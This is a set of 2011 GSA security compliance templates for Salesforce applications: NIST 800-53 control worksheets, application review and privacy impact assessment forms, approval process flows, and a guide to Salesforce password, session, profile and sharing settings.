(b) Enforces a minimum number of characters that must be changed when new passwords are created; (c) Encrypts passwords in storage and in transmission;


(d) Enforces password minimum and maximum lifetime restrictions; and 


(e) Prohibits password reuse for a number of iterations. 





			Supplemental Guidance:  


User authenticators include, for example, passwords, tokens, biometrics, PKI certificates, and key cards. Initial authenticator content is the actual content (e.g., the initial password) as opposed to requirements about authenticator content (e.g., minimum password length). Many information system components are shipped with factory default authentication credentials to allow for initial installation and configuration. Default authentication credentials are often well known, easily discoverable, present a significant security risk, and therefore, are changed upon installation. The requirement to protect user authenticators may be implemented via control PL-4 or PS-6 for authenticators in the possession of users and by controls AC-3, AC-6, and SC-28 for authenticators stored within the information system (e.g., passwords stored in a hashed or encrypted format, files containing encrypted or hashed passwords accessible only with super user privileges). The information system supports user authenticator management by organization-defined settings and restrictions for various authenticator characteristics including, for example, minimum password length, password composition, validation time window for time synchronous one time tokens, and number of allowed rejections during verification stage of biometric authentication. Measures to safeguard user authenticators include, for example, maintaining possession of individual authenticators, not loaning or sharing authenticators with others, and reporting lost or compromised authenticators immediately. Authenticator management includes issuing and revoking, when no longer needed, authenticators for temporary access such as that required for remote maintenance. Device authenticators include, for example, certificates and passwords. Related controls: AC-2, IA-2, PL-4, PS-6.





			Salesforce™ Guidance:


If the application uses the GSA Access Card (GAC) for delegated authority SSO, then the control can be marked as “Fully Satisfied” and the Implementation of the control and control enhancements becomes “User Authentication and Identification inherited from GAC standard implementation user access”.


If the application owner implements managed passwords outside of the GSA Access Card (GAC) then the application owner is responsible for:


· Implementing additional controls or determining whether to accept the risk that multi-factor authentication is not in place for privileged and non-privileged account.


· Managing information system authenticators for users by: verifying, as part of the initial password distribution, the identity of the individual receiving the authenticator.


· Ensuring that authenticators have sufficient strength of mechanism for their intended use. The GSA frequency is at least 8 characters and must contain a combination of letters, numbers, and special characters. The application owner is responsible for implementing additional controls or determining whether to accept the risk that Salesforce managed passwords can only enforce a mix of alpha and numeric characters.


· Establishing and implementing administrative procedures for initial authenticator distribution, for lost/compromised or damaged authenticators, and for revoking authenticators.


· Establishing minimum and maximum lifetime restrictions and reuse conditions for passwords. The GSA frequency is 1 day minimum, 90 day maximum, and 10 passwords remembered. The agency is responsible for implementing additional controls or determining whether to accept the risk that Salesforce managed passwords cannot enforce a minimum password lifetime restriction.


· Changing/refreshing passwords at an agency defined frequency. The GSA frequency is 90 days.


· Requiring users to take specific measures to safeguard authentication.


To complete Enhancement 1, if the application owner implements managed passwords outside of the GSA Access Card then the application owner is responsible for:


· Managing password-based authentication including: establishing a minimum password length and enforcing minimum password complexity of (agency defined requirements for case sensitivity, number of characters, mix of uppercase letters, lower-case letters, numbers, and special characters, including minimum requirements for each type). The GSA frequency is at least 8 characters and must contain a combination of letters, numbers, and special characters. The application owner is responsible for implementing additional controls or determining whether to accept the risk that Salesforce managed passwords can only enforce a mix of alpha and numeric characters.


· Enforcing at least a (agency-defined number of changed characters) when new passwords are created. The GSA frequency is at least one character. 


· Enforcing password minimum and maximum lifetime restrictions set by the agency. The GSA frequency is 1 day minimum and 90 day maximum. The application owner is responsible for implementing additional controls or determining whether to accept the risk that Salesforce managed passwords cannot enforce a minimum password lifetime restriction. 


· Prohibiting password reuse for agency-defined number of generations. The GSA frequency is 10 generations.











GSA Implementation of Control:


Click here to enter text.





GSA Implementation of Control Enhancement 1:


Click here to enter text.


PL-5: Privacy Impact Assessment


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization conducts a privacy impact assessment on the information system in accordance with OMB policy.





			Supplemental Guidance:  


OMB Memorandum 03-22 provides guidance for implementing the privacy provisions of the E-Government Act of 2002. NIST Special Publication 800-122 provides guidance on protecting the confidentiality of personally identifiable information.





			Salesforce™ Guidance:


Attach or refer to the location of the completed “Salesforce Application Privacy Review”.











GSA Implementation of Control:


Click here to enter text.


PS-2: Position Categorization


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Assigns a risk designation to all positions;


(b) Establishes screening criteria for individuals filling those positions; and 


(c) Reviews and revises position risk designations every three (3) years..





			Supplemental Guidance:  


Position risk designations are consistent with 5 CFR 731.106(a) and Office of Personnel Management policy and guidance. The screening criteria include explicit information security role appointment requirements (e.g., training, security clearance).





			Salesforce™ Guidance:


To complete this control document how Salesforce.com’s assignment of risk designations, associated screening criteria and ensure that salesforce.com is validating, reviewing and revising risk designations on an ongoing basis.











GSA Implementation of Control:


Click here to enter text.


RA-2: Security Categorization


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization categorizes the information system and the information processed, stored, or transmitted by the system in accordance with applicable laws, Executive Orders, directives, policies, regulations, standards, and guidance and documents the results (including supporting rationale) in the system security plan. Designated senior-level officials within the organization review and approve the security categorizations.





			Supplemental Guidance:  


The applicable federal standard for security categorization of non-national security information and information systems is FIPS 199. The organization conducts FIPS 199 security categorizations as an organization-wide activity with the involvement of the chief information officer, senior agency information security officer, information system owners, and information owners. The organization also considers potential impacts to other organizations and, in accordance with the USA PATRIOT Act of 2001 and Homeland Security Presidential Directives, potential national-level impacts in categorizing the information system. As part of a defense-in-depth protection strategy, the organization considers partitioning higher-impact information systems into separate physical domains (or environments) and restricting or prohibiting network access in accordance with an organizational assessment of risk. NIST Special Publication 800-60 provides guidance on determining the security categories of the information types resident on the information system. Related security controls: MP-4, SC-7.





			Salesforce™ Guidance:


To complete this control show how data is categorized in agreement with FIPS 199 and NIST 800-60 to ensure that the security category of information types collected, processed, or stored in Salesforce does not exceed Moderate impact for confidentiality, integrity, and/or availability.











GSA Implementation of Control:


Click here to enter text.


RA-3: Risk Assessment


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Conducts an assessment of risk, including the likelihood and magnitude of harm, from the unauthorized access, use, disclosure, disruption, modification, or destruction of the information system and the information it processes, stores, or transmits;


(b) Documents risk assessment results in the Security Assessment Report (SAR) and the System Security Plan;


(c) Reviews risk assessment results every three (3) years or with a significant change as defined in NIST SP 800-37 rev 1, Appendix F, Page F-7    and


(d). Updates the risk assessment every three (3) years or with a significant change as defined in NIST SP 800-37 rev 1, Appendix F, Page F-7.   





			Supplemental Guidance:  


A clearly defined authorization boundary is a prerequisite for an effective risk assessment. Risk assessments take into account vulnerabilities, threat sources, and security controls planned or in place to determine the level of residual risk posed to organizational operations and assets, individuals, other organizations, and the Nation based on the operation of the information system. Risk assessments also take into account risk posed to organizational operations, organizational assets, or individuals from external parties (e.g., service providers, contractors operating information systems on behalf of the organization, individuals accessing organizational information systems, outsourcing entities). In accordance with OMB policy and related E-authentication initiatives, authentication of public users accessing federal information systems may also be required to protect nonpublic or privacy-related information. As such, organizational assessments of risk also address public access to federal information systems. The General Services Administration provides tools supporting that portion of the risk assessment dealing with public access to federal information systems. 


Risk assessments (either formal or informal) can be conducted by organizations at various steps in the Risk Management Framework including: information system categorization; security control selection; security control implementation; security control assessment; information system authorization; and security control monitoring. RA-3 is a noteworthy security control in that the control must be partially implemented prior to the implementation of other controls in order to complete the first two steps in the Risk Management Framework. Risk assessments can play an important role in the security control selection process during the application of tailoring guidance for security control baselines and when considering supplementing the tailored baselines with additional security controls or control enhancements.





			Salesforce™ Guidance:


To complete this control provide the results of an E-Authentication Risk Assessment in accordance with OMB Memorandum M-04-04, “E-Authentication Guidance for Federal Agencies.”











GSA Implementation of Control:


Click here to enter text.


SA-5: Information System Documentation


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Obtains, protects as required, and makes available to authorized personnel, administrator documentation for the information system that describes: 


- Secure configuration, installation, and operation of the information system; 


- Effective use and maintenance of security features/functions; and 


- Known vulnerabilities regarding configuration and use of administrative (i.e., privileged) functions; and 


(b) Obtains, protects as required, and makes available to authorized personnel, user documentation for the information system that describes: 


- User-accessible security features/functions and how to effectively use those security features/functions; 


- Methods for user interaction with the information system, which enables individuals to use the system in a more secure manner; and 


- User responsibilities in maintaining the security of the information and information system; and 


(c) Documents attempts to obtain information system documentation when such documentation is either unavailable or nonexistent.





			Supplemental Guidance:  


None.





			Salesforce™ Guidance:


To complete the control, attach or refer to the Business Process Document or similar document which provides information particular to the application for administration and use of the application.











GSA Implementation of Control:


Click here to enter text.


SI-2: Flaw Remediation


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Identifies, reports, and corrects information system flaws;


(b) Tests software updates related to flaw remediation for effectiveness and potential side effects on organizational information systems before installation; and


(c) Incorporates flaw remediation into the organizational configuration management process. 





			Supplemental Guidance:  


The organization identifies information systems containing software affected by recently announced software flaws (and potential vulnerabilities resulting from those flaws) and reports this information to designated organizational officials with information security responsibilities (e.g., senior information security officers, information system security managers, information systems security officers). The organization (including any contractor to the organization) promptly installs security-relevant software updates (e.g., patches, service packs, and hot fixes). Flaws discovered during security assessments, continuous monitoring, incident response activities, or information system error handling, are also addressed expeditiously. Organizations are encouraged to use resources such as the Common Weakness Enumeration (CWE) or Common Vulnerabilities and Exposures (CVE) databases in remediating flaws discovered in organizational information systems. By requiring that flaw remediation be incorporated into the organizational configuration management process, it is the intent of this control that required/anticipated remediation actions are tracked and verified. An example of expected flaw remediation that would be so verified is whether the procedures contained in US-CERT guidance and Information Assurance Vulnerability Alerts have been accomplished. Related controls: CA-2, CA-7, CM-3, MA-2, IR-4, RA-5, SA-11, SI-11.





			Salesforce™ Guidance:


Application owners have the ability to develop custom code and applications for the Force.com platform. To complete this control where custom code exists, a documented process for flaw checking and remediation must be integrated into the code development process (such as misuse case testing). Further, it must be integrated into the customer’s existing configuration management process in order to perform developer security testing to detect any flaws or malicious code entered introduced into the code. 


If no custom code exists then the control can be marked as “Fully Satisfied” and the Implementation of the control becomes “Flaw remediation inherited from GSA standard implementation of Force.com.”











GSA Implementation of Control:


Click here to enter text.


SI-3: Malicious Code Protection


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Employs malicious code protection mechanisms at information system entry and exit points and at workstations, servers, or mobile computing devices on the network to detect and eradicate malicious code: 


- Transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means; or 


- Inserted through the exploitation of information system vulnerabilities; 


(b) Updates malicious code protection mechanisms (including signature definitions) whenever new releases are available in accordance with organizational configuration management policy and procedures; 


(c) Configures malicious code protection mechanisms.  GSA S/SO or Contractor recommended to be approved and accepted by the GSA AO. 


- Perform periodic scans of the information system [Assignment: organization-defined frequency] and real-time scans of files from external sources as the files are downloaded, opened, or executed in accordance with in response to malicious code detection; and 


(d) Addresses the receipt of false positives during malicious code detection and eradication and the resulting potential impact on the availability of the information system.





			Supplemental Guidance:  


Information system entry and exit points include, for example, firewalls, electronic mail servers, web servers, proxy servers, and remote-access servers. Malicious code includes, for example, viruses, worms, Trojan horses, and spyware. Malicious code can also be encoded in various formats (e.g., UUENCODE, Unicode) or contained within a compressed file. Removable media includes, for example, USB devices, diskettes, or compact disks. A variety of technologies and methods exist to limit or eliminate the effects of malicious code attacks. Pervasive configuration management and strong software integrity controls may be effective in preventing execution of unauthorized code. In addition to commercial off-the-shelf software, malicious code may also be present in custom-built software. This could include, for example, logic bombs, back doors, and other types of cyber attacks that could affect organizational missions and business functions. Traditional malicious code protection mechanisms are not built to detect such code. In these situations, organizations must rely instead on other risk mitigation measures to include, for example, secure coding practices, trusted procurement processes, configuration management and control, and monitoring practices to help ensure that software does not perform functions other than those intended. Related controls: SA-4, SA-8, SA-12, SA-13, SI-4, SI-7.





			Salesforce™ Guidance:


Application owners have the ability to develop custom code and applications for the Force.com platform. To complete this control where custom code exists, a documented process for flaw checking and remediation must be integrated into the code development process (such as misuse case testing). Further, it must be integrated into the customer’s existing configuration management process in order to perform developer security testing to detect any flaws or malicious code entered introduced into the code. 


If no custom code exists then the control can be marked as “Fully Satisfied” and the Implementation of the control becomes “Flaw remediation inherited from GSA standard implementation of Force.com.”











GSA Implementation of Control:


Click here to enter text.





SI-10: Information Input Validation


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system checks information for accuracy, completeness, validity, and authenticity.





			Supplemental Guidance:  


Rules for checking the valid syntax and semantics of information system inputs (e.g., character set, length, numerical range, acceptable values) are in place to verify that inputs match specified definitions for format and content. Inputs passed to interpreters are prescreened to prevent the content from being unintentionally interpreted as commands.





			Salesforce™ Guidance:


The application must enforce field-level checks when performing custom coding on the Force.com platform to ensure the validity of information inputs. To complete the control, the application owner must document the definition of field types and associated input validation rules for specific objects within the Application Setup.











GSA Implementation of Control:


Click here to enter text.


SI-11: Error Handling


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system:


(a) Identifies potentially security-relevant error conditions; 


(1) Username and password combinations.


(2) Attributes used to validate a password reset request (e.g. security questions).


(3) Personally identifiable information (excluding unique user name identifiers provided as a normal part of a transactional record).


(4) Biometric data or personal characteristics used to authenticate identity.


(5) Sensitive financial records (e.g. account numbers, access codes).


(6) Content related to internal security functions: private encryption keys, white list or blacklist rules, object permission attributes and settings.


 (b) Generates error messages that provide information necessary for corrective actions without revealing potentially harmful information in error logs and administrative messages that could be exploited by adversaries; and (c) Reveals error messages only to authorized personnel.





			Supplemental Guidance:  


The structure and content of error messages are carefully considered by the organization. The extent to which the information system is able to identify and handle error conditions is guided by organizational policy and operational requirements. Sensitive information includes, for example, account numbers, social security numbers, and credit card numbers.





			Salesforce™ Guidance:


Application owners have the ability to develop custom code and applications for the Force.com platform. To complete this control where custom code exists, a documented process for flaw checking and remediation must be integrated into the code development process (such as misuse case testing). Further, it must be integrated into the customer’s existing configuration management process in order to perform developer security testing to detect any flaws or malicious code entered introduced into the code. Specifically, error messages must be designed to ensure that they do not reveal sensitive information.


If no custom code exists then the control can be marked as “Fully Satisfied” and the Implementation of the control becomes “Flaw remediation inherited from GSA standard implementation of Force.com.”











GSA Implementation of Control:


Click here to enter text.


SI-12: Information Output Handling and Retention


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization handles and retains both information within and output from the information system in accordance with applicable laws, Executive Orders, directives, policies, regulations, standards, and operational requirements.





			Supplemental Guidance:  


The output handling and retention requirements cover the full life cycle of the information, in some cases extending beyond the disposal of the information system. The National Archives and Records Administration provide guidance on records retention. Related controls: MP-2, MP-4.





			Salesforce™ Guidance:


To complete the control provide documentation on handling and retention requirements for information within the application and for output from the application to ensure compliance with the GSA Policy on records retention.











GSA Implementation of Control:


Click here to enter text.
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SalesForce App Process Template.dotx




Date:	October 7, 2011


From:	Click here to enter text., Information System Security Officer


Subject:	Salesforce™ Application Review for Click here to enter text.





Application Information:


Application Organization:	Choose an item.
Application Name:	Click here to enter text.	


Application URL:	Click here to enter text.





Application Authentication:	Choose an item.


Profiles Used (List All):


Click here to enter text.


Permission Sets Used (List All):


Click here to enter text.


Description of Application:


Click here to enter text.





Coded as:  Choose an item.


If “Other” please specify:


Click here to enter text.





Application Vulnerability Scanning:


If an application is developed from “App Exchange”, no scanning is required. Apex and Visual Force require internal scans to be completed using Salesforce™ scanning tools. If “other” (Java, .NET etc), the System ISSO should immediately contact the Office of the Senior Agency Information Security Officer (OSAISO) to coordinate which scans will be conducted and how they will be done.





Scan Completed: Choose an item.	Date: Click here to enter a date.
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Sensitive Security Information


For Official Use Only





Attach the Scan Results in a separate file on the line below or paste into the field:  


	Page 1 of 2


		Page 2 of 2





      





Click here to enter text.





False Positive Comments From Scan Results:


Click here to enter text.








Security Self Assessment  Tool


Copy and paste the list of vulnerabilities issued from the Salesforce™ Self Assessment Tool:


Click here to enter text.





Approval





	





	





Note of signing: The file must be saved with a meaningful file name before it can be signed, and once signed, the filename cannot be changed (“Close” the file, do not save it).
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Communications, Development, PMO and Training Teams will work with the Application Owner, Dev Team, and Security Lead throughout the process – Parallel Processes TBD





Application Development Flow














Business Analytics Team


Application Owner


Development Team


Security Team / ISSO


High-Level Security Process Flow





Draft





9/27/2011





OCIO PMO





QA Team





Authorizing Official


ATO Analysis


1.0


Categorize the Information System


2.1


Major


Non-Major


Data in 


Unauthorized


Location


Data in 


Authorized


Location


Full A&A per CIO IT Security 06-30


Non-Major Application Approval Process








Step 2.1: Categorize the Information System


Step 1.0: ATO Analysis








9/27/2011





GSA OCIO PMO





Draft


High-Level Security Process Flow Details


Input: Initial application concept


Action: Determine level of authorization needed; determine location of data vs. authorized locations


Team: Business Analytics


Output: ATO workflow decision


Artifact/System: N/A


Input: Business / Functional Requirements, CONOPS


Action: Determine security category (Major or Minor) per NIST SP 800-60 and FIPS 199


Team: Security Team / ISSO


Output: Security Categorization


Artifact/System: TBD








Communications, Development, PMO and Training Teams will work with the Application Owner, Dev Team, and Security Lead throughout the process – Parallel Processes TBD





High-Level Security Process Flow














Business Analytics Team


Application Owner


Development Team


Security Team / ISSO


Non-Major Application Approval Process Flow





Draft





10/18/2011





OCIO PMO





QA Team





Authorizing Official


Complete PIA Part 1


2.2


Has PII?


Complete PIA Part 2


2.3


Complete BIA


3.0


Conduct Security Controls Analysis


4.0


Developed in APEX / Visual Force?*


Conduct Static and Dynamic Code Scanning


5.1


Fill out Application Security Assessment Form


6.0


Prepare and Submit Salesforce Application Security Package


7.1


Incorporate into Salesforce SSP & POA&M


7.3


SAISO Approval


7.2


Yes


Yes


No


No


Complete PIA Part 2


2.3


Conduct Security Self-Assessment


5.2


*If the application was developed using an alternate language, coordination should take place with the OSAISO early in the development process to coordinate code review methodology to be used.








Step 2.3: Complete PIA Part 2


Step 2.2: Complete PIA Part 1








9/27/2011





GSA OCIO PMO





Draft


Non-Major Application Approval Process Flow Details


Input: Data sources, content, high-level requirements


Action: Complete PIA Part 1


Team: Business Analytics


Output: PIA Part 1


Artifact/System: PIA Part 1


Input: PIA Part 1


Action: Complete PIA Part 2


Team: Business Analytics


Output: PIA Part 2


Artifact/System: PIA Part 2


Step 3.0: Complete BIA





Input: PIA, Business Case, high-level requirements


Action: Complete BIA


Team: Business Analytics


Output: BIA


Artifact/System: BIA


Step 5.1: Conduct Static and Dynamic Code Scanning





Step 4.0: Conduct Security Controls Analysis





Input: NIST 800-53 Controls Worksheet template, detailed design, profile/permissions


Action: Customize / complete NIST 800-53 Controls Worksheet


Team: ISSO / Security Team


Output: NIST 800-53 Controls Worksheet


Artifact/System: NIST 800-53 Controls Worksheet


Input: Software / code


Action: Conduct static and dynamic scanning, document false positives, engage OSAISO for alternate language dev


Team: Development Team


Output: Scan results


Artifact/System: Application Security Assessment Form


Step 5.2: Conduct Security Self-Assessment





Input: -


Action: Complete online security self-assessment


Team: Application Owner


Output: Assessment Results


Artifact/System: Assessment Results








Step 7.1: Prepare / Submit SF Application Security Pkg


Step 6.0: Fill out Application Security Assessment Form











9/27/2011





GSA OCIO PMO





Draft


Non-Major Application Approval Process Flow Details


Input: Scan results, App Description


Action: Compile Assessment and gain signatures from  App Owner, ISSO, ISSM, and SAISO


Team: Security Team / ISSO


Output: Signed App Security Assessment Form


Artifact/System: SF App Security Pkg


Input: PIA Part 1 (& 2), BIA, Security Controls Analysis, Signed App Security Assessment Form


Action: Compile SF App Security Pkg


Team: App Owner


Output: SF App Security Pkg


Artifact/System: SF App Security Pkg


Step 7.2: SAISO Approval





Input: SF App Security Pkg


Action: SAISO Approval


Team: Security Team / ISSO


Output: Signed SF App Security Pkg


Artifact/System: SF App Security Pkg


Step 7.3: Incorporate into Salesforce SSP & POA&M





Input: Signed SF App Security Pkg


Action: Update SF A&A Documentation


Team: ISSO / Security Team


Output: Authorized SF Application


Artifact/System: Updated A&A Docs, POA&M








image1.png










image2.png










image3.png










image4.png










image5.png













High-Level Security Process Flow.
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Sensitive Security Information


For Official Use Only








Date:	October 7, 2011


From:	Click here to enter text., Information System Security Officer


Subject:	Privacy Impact Assessment for Click here to enter text.








System Title:	Click here to enter text.	


Office of Responsibility:	Click here to enter text.





Program Manager:


Name: 	Click here to enter text.	Email:  Click here to enter text.


Phone:	Click here to enter text.	Org Title and Code:  Click here to enter text.





PIA Contact Name and Title:	


Name: 	Click here to enter text.	Email:  Click here to enter text.


Phone:	Click here to enter text.	Org Title and Code:  Click here to enter text.





Designated Approval Authority:


Name: 	Click here to enter text.	Email:  Click here to enter text.


Phone:	Click here to enter text.	Org Title and Code:  Click here to enter text.





System Qualification


1. Does your system collect any information in identifiable form (personal data) on the general public?  (If “Yes”, a System Assessment is required.)  Choose an item.


2. Does your system collect any information in identifiable form (personal data/information) on government employees?  (If “Yes”, a System Assessment is required.)  Choose an item.


3. Has a PIA been done before for the system?  Choose an item.   Date: Click here to enter a date.





System Assessment


1. Describe all information to be included in the system, including personal data.  (Briefly describe the purpose of the system and the data that will be in the system, including that of any subsystems and provide the specific privacy data elements that will be maintained in the system.)   


Click here to enter text.





Lifecycle Stage: Choose an item.


a. What are the sources of the information in the system? (Describe where the system data originates, whether the privacy information is provided by the user or entered on behalf of the user and by whom, or if it comes programmatically from another system.)


Click here to enter text.





2a. What GSA files and databases are used? (Identify any GSA files and databases that may be used as a source of the information.)


Click here to enter text.





b. What Federal agencies are providing data for use in the system? (List Federal agencies that are providing the information for use by the system.  Specify data provided by each.  If none, enter None.)


Click here to enter text.





c. What State and local agencies are providing data for use in the system? (List any State and local agencies that are providing data for use in this system.  Specify the data provided by each.  If none, enter None.)


Click here to enter text.





d. What other third party sources will the data be collected from? (List any other sources of data in the system and the data provided.  If none, enter None.)


Click here to enter text.





e. What information will be collected from the individual whose record is in the system? (List the data that will be collected from the individual.)


Click here to enter text.





3a. How will the data collected from sources other than Federal agency records or the individual be verified for accuracy? (The accuracy of personal information is very important.  Indicate the steps that will be taken to ensure that the data is accurate and the integrity of the data remains intact.)


Click here to enter text.





b. 	How will data be checked for completeness? (Missing information can be as damaging as incorrect information.  Indicate the steps that will be taken to ensure that all of the data is complete.)


Click here to enter text.





c.	Is the data current?  How do you know? (Indicate the process that will be used to ensure that the data is relevant and up-to-date.)


Click here to enter text.


Are the data elements described in detail and documented?  If yes, what is the name of the document? (Each of the data elements must be defined and described.  Descriptions should include the name, data type, and purpose for collection.)


Click here to enter text.















Qualification Explanation:


1. Information in identifiable form (also known as personal data/information) refers to any data collected about an individual that can be used for identification purposes. It includes information that identifies the individual by name or other unique identifier in conjunction with other data elements such as gender, race, birth date, age, geographic indicator, personal e-mail address, home address, home phone number, health records, Social Security Number, personal credit card information, and similar personal information.  Information permitting the physical or online contacting of a specific individual is considered information in identifiable form.  This does not refer to business entities or government agencies, or aggregate data that cannot be traced back to an individual person.


2. Information in identifiable form refers to any data collected about an employee that can be used for identification purposes.  It includes information that identifies the employee by name or other unique identifier in conjunction with other data elements such as gender, race, birth date, age, marital status, home e-mail address, home address, home phone number, health records, Social Security Number, performance appraisals, employment history not related to current job, allegations of misconduct/arrests/complaints/grievances/ performance based actions, payroll deductions, personal credit card information, and similar personal information.
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OVERVIEW

Securing access to applications, data and logic is a key part of application development and system
configuration. Security measures should not only protect data and logic from unauthorized external

access, but also from unauthorized internal access. The Salesforce CRM platform includes configuration
settings and features that will ensure sufficient data protection. Several settings and features are
enabled by default. Others will require specific actions from the organization’s Salesforce CRM
administrator. This guide is intended to help the reader implement security measures that are
appropriate for their organization.
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INTRODUCTION

Salesforce is built with security as the foundation for the entire service. This foundation includes
protection for the organization’s data and applications. It also provides the ability to implement a
security scheme to reflect the structure and needs of the organization. The security features in
Salesforce enable the organization to empower its users to do their jobs efficiently, while limiting
exposure of data to the users that need to act upon it.

The purpose of this document is to provide an overview of the security features and configuration
options, offered by Salesforce. The document also includes recommended practices to secure both
Salesforce and more traditional platforms.





SECURITY FEATURES SUPPORTED BY SALESFORCE

SECURITY AND COMPLIANCE RELATED SETTINGS

Password Settings

Password expiration settings should be configured to comply with internal policies. The default settings

may be insufficient for an organization with stronger security policies. The default settings do not meet
the requirements of the Payment Card Industry Data Security Standards (PCI-DSS).

The following password settings are available in Salesforce...

Setting Name Description Options

User passwords Frequency to automatically expire 30 days

expire in passwords 60 days
90 days (default)
One Year
Never

Enforce password
history

How many previous passwords to save to
prevent password re-use

No passwords remembered
3 passwords remembered
(default)

5 passwords remembered

Minimum password
length

Minimum length of a password

5 characters
8 characters (default)
10 characters

Password complexity
requirement

Should the password contain a mix of
letters and numbers? If enabled, the
password must contain at least one letter
and one number.

No restriction
Must mix alpha and numeric
(default)

Password question Require the user’s password hint to not None
requirement contain the password Cannot contain password
(default)
Maximum invalid login | How many bad logins are allowed before 3
attempts locking out the account 5
10 (default)
No Limit
Lockout effective How long should an account remain locked | 15 minutes (default)
period out 30 minutes
60 minutes
Forever

(must be reset by admin)
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Session Settings
Several settings can be used to restrict active user sessions. These include configuring the idle session
timeout, locking the sessions to the IP address used at login, and requiring secure (HTTPS) connections.

Many of the default settings should be modified to improve security.

The following session settings are available in Salesforce...

Setting Name Description Options
Timeout value Idle session time to automatically log user 15 minutes
out of Salesforce 30 minutes
1 hour

2 hours (default)
4 hours
8 hours

Disable session timeout
warning popup

Disable the warning browser pop-up when a
user is about to be logged out from the idle
session timeout

Yes
No (Default)

Lock sessions to the IP
address from which
they originate

Force the user session to remain locked to
the IP address from which the user
authenticated. This setting helps prevent
session hijacking but will also prevent the
installation of most AppExchange packages.

Yes, if possible
No (Default)

Require secure
connections
(https)

Require HTTPS on all page requests.

Yes (Default)
No

Enable caching and
auto-complete on login

page

Allow the user’s browser to store and auto-
complete usernames or passwords after
first login.

Yes (Default)
No

Login and Authentication Settings

The default settings allow any user to login to Salesforce from any IP address, any time of the day.
Salesforce provides the capability to restrict user login access to specific work hours and/or specified
ranges of IP addresses. Salesforce CRM also supports Delegated and Federated single sign-on, in
addition to the standard username and password authentication.

Identity confirmation was developed to defend against phishing attacks or stolen user credentials and is
enabled for all organizations. If a browser cookie exists or the current IP address was previously used to
log in to Salesforce CRM, the login proceeds. Otherwise, the user is prompted to request an activation
link.

Time of Day Restrictions

> Can be specified for each profile.
> No organization-wide settings can be configured.





IP Address Restrictions

» Can be restricted to specific IP addresses or ranges of IP addresses.
» Can be configured for the entire organization.
» Can be configured for a specific profile.

Single Sign-on Options

» Delegated Authentication invokes a web services call to a corporate server to authenticate
users, rather than using the native Salesforce CRM passwords.

> Federated Authentication directs Salesforce CRM to use the Security Assertion Markup
Language (SAML) for user authentication.

Identity Confirmation

> Checks for the existence of a browser cookie on the user’s browser.
» Compares current IP address with a list of previously known IP addresses.





DATA PRIVACY

Profiles

Each user is associated with one, and only one profile. Every profile includes one or more permissions
that dictate what a user can do within Salesforce CRM. In addition to detailed permissions, a profile
defines the default access privileges to standard and custom objects, such as contacts, accounts, leads,
opportunities, and more. Salesforce CRM supports both Standard and Custom Profile types.

Standard Profiles
» The standard Salesforce profiles cannot be modified.

The following standard profiles are available in Salesforce...

Profile Name Available Permissions

System Administrator The System Administrator can configure and customize the application. They
have access to all functionality that does not require an additional license. For
example, administrators cannot manage campaigns unless they also have a
Marketing User license. This profile can also manage price books and products
and also edit any quota, override forecasts, or view any forecast.

Standard User The Standard User profile can create and edit most major types of records,
run reports, and view the organization’s setup. They can view, but not
manage, campaigns. They can create, but not review, solutions and can edit
personal quota and override forecasts.

Partner User The Partner User Profile can only login via a PRM Portal.

Marketing User Marketing Users can manage campaigns, import leads, create letterheads,
create HTML email templates, manage public documents, and update
campaign history via the import wizards. They also have access to the same
functionality as the Standard User.

Contract Manager The Contract Manager profile can create, edit, activate, and approve
contracts. This profile can also delete contracts as long as they are not
activated. Additionally, they can edit personal quota and override forecasts.

Read Only The Read Only Profile can view the organization’s setup, run and export
reports, and view, but not edit, other records.
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Custom Profiles

» Custom Profiles allow an arbitrary mix of permissions, which should be periodically reviewed to

verify that the settings are appropriate.

The following permissions are available in Salesforce...

Permission Description

AP| Enabled Grants access to Salesforce through the API.

Author Apex Can modify and deploy Apex. By default, Apex code runs with full
administrative privileges. If a user can create Apex classes, then they can
view and modify all data within Salesforce through the Apex code.

Customize Make configuration changes to the organizational settings such as password

Application policies, custom fields, workflow rules, s-controls, and more.

Download AppExchange
packages

Install or uninstall packages from the AppExchange.

Edit Read Only

Edit fields marked as read only for all other users in the page layout.

Fields

Manage Billing Add user licenses, manage billing, and credit card information.
Manage Create, edit, and delete dashboards.

Dashboards

Manage Partners

Create partner accounts and partner users.

Manage Users

The ability to create or modify user accounts, including logins, sharing rules,
and login restrictions.

Modify All Data

The ability to create, edit, or delete all data in Salesforce.

Password Never
Expires

Prevent the password from expiring.

Transfer Record

Transfer the ownership of accounts. The ownership of accounts affects which
users can view or modify the details of the account.

View All Data

View all data owned by other users.

View All Forecasts

View any user’s forecast regardless of the forecast role hierarchy.

View Encrypted
Data

View the value of encrypted fields. If encrypted fields are used, this
permission is the only way to decrypt and view the cleartext data.

View All Forecasts

View any user’s sales forecast regardless of the user role hierarchy.

Weekly Data Export

Run the weekly data export service. This will export all data.

Field Level Security

Field-level security provides granular control over the individual fields of Salesforce objects. Every field

in every object can be assigned unique access privileges based on the user’s profile.

» May override other types of data access settings.

»  Will make auditing and controlling your data complicated.

» Should be used strategically to protect sensitive elements.
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Sharing Settings

The sharing settings define the access rights to each Salesforce CRM object. The default sharing model

and sharing rules are at the core of controlling access to Salesforce CRM data. Sharing permissions are

based on the default permissions (the sharing model) and exception rules (the sharing rules).

Default Sharing Model

» Each standard and custom object can be assigned a default sharing rule/model.

The following default sharing options are available in Salesforce...

Sharing Access

Description

Controlled by Parent

A user can perform an action (such as view, edit, or delete) on a contact
based on whether he or she can perform that same action on the record
associated with it.

For example, if a contact is associated with the Acme account, then a user
can only edit that contact if he or she can also edit the Acme account.

Private

Only the record owner, and users above that role in the hierarchy, can view,
edit, and report on those records.

Public Read Only

All users can view and report on records but not edit them. Only the owner,
and users above that role in the hierarchy, can edit those records.

Public Read/Write

All users can view, edit, and report on all records.

Public
Read/Write/Transfer

All users can view, edit, transfer, and report on all records. This is only
available for cases or leads.

Public Full Access

